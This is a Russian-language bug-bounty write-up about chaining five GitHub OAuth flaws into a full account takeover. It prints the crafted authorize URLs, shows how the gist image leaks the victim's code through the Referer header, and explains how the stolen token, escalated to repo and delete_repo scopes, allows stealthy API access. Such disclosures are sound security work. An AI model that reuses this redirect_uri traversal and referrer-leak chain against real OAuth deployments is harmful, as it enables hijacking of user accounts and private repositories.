Это история о том как я соединил 5 Low-severity багов в один большой баг, с помощью которого можно было читать/писать в приватные репы на Гитхабе (опять).
Несколько дней назад гитхаб запустил баунти программу. За 4 часа я смастерил такой URL после посещения которого я получал доступ к вашему гитхаб аккаунту и репозиториям. Хотите узнать как?
Начал я с проверки Github OAuth.
Баг 1. Обход валидации redirect_uri с /../
Это просто — можно отослать /path1/../path2 чтобы перезаписать предыдущий путь (path traversal).
Баг 2. Нет валидации redirect_uri при получении токена.
Первый баг сам по себе ничего не стоит. В OAuth2 встроена защита, что для каждого выпущеного кода есть соответствующий редирект_ури, и при обмене кода на токен необходимо дать тот же ури что был использован вначале. Попросту говоря если вернулся код на site/callback то и для получения токена надо отослать site/callback.
Как ни странно гитхаб реализовали проверку не правильно. Можно было выпустить код для /path1/../path2 и потом использовать его на /path1. То есть утекший через рефереры код оставался валидным даже для настоящего колбэка. С помощью этих двух багов можно было бы сливать коды через рефереры на сайтах с функцией логина через Гитхаб. Похожий баг был в vk.com.
Баг 3. Картинки на гисте.
Я начал смотреть официальные клиенты гитхаба — Education, Pages, Speakerdeck, Gist. Первые два не пользовались OAuth по-сути, третий не входил в bounty программу, а вот гист очень даже подходил. Он был «пре-одобренным» клиентом, то есть по-умолчанию установлен у всех пользователей.
Но нельзя было просто вставить так как Camo-прокси гитхаба заменит это на локальный урл, и реферер не утечет на ваш сервер. Чтобы обойти эту защиту я использовал довольно новый трюк
///host.com парсится как путь всеми серверными библиотеками включая руби, но браузеры же парсят это как хост и загружают host.com вместо github.com///host.com
Наш урл-эксплоит выглядит сейчас так:
https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=<b>https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback/../../../homakov/8820324</b>&response_type=code
Как только юзер загружает это адрес гитхаб автоматически редиректит на мой гист с картинкой на моем сервере:
Location: gist.github.com/auth/github/callback/../../../homakov/8820324?code=CODE
Браузер загружает gist.github.com/homakov/8820324?code=CODE
И тут при запросе на нашу картинку он сливает реферер.
Как только мы получаем CODE жертвы мы можем открыть gist.github.com/auth/github/callback?code=CODE — вуаля. Мы залогинены как жертва на гисте и имеем доступ к его приватным гистам.
Баг 4. Токен хранится в куках
Это антипаттерн OAuth, крайне не рекомендуется хранить/показывать токен браузеру, гист же хранит его в рельс сессии. Которая как мы знаем просто base64 закодированная и подписанная кука.
Вот же он — github_token. Теперь мы можем делать запросы напрямую, минуя сайт гиста. Но токен имеет scope = gists и кроме гистов я ничего не могу прочесть. Хотя…
Баг 5. Автоматическое одобрение любого scope для официальных клиентов.
Последний штрих. Так как гист это официальный клиент гитхаба то вы не видите диалога «Одобрить эти скоупы» и гитхаб делает одобрение за вас автоматически. А значит я могу просто послать
https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback/../../../homakov/8820324&response_type=code&<b>scope=repo,gists,user,delete_repo,notifications</b>
Затем использовать слитый КОД для логина в аккаунт жертвы, прочитаю куку, возьму оттуда github_token и тут уже совершать API вызовы совершенно незаметно для пользователя — ведь токен принадлежит Гисту! Стелс-мод эдакий, преступление без следов.
Награда составила $4000.
И вообще я доступен для работы, например.
Автор: Chikey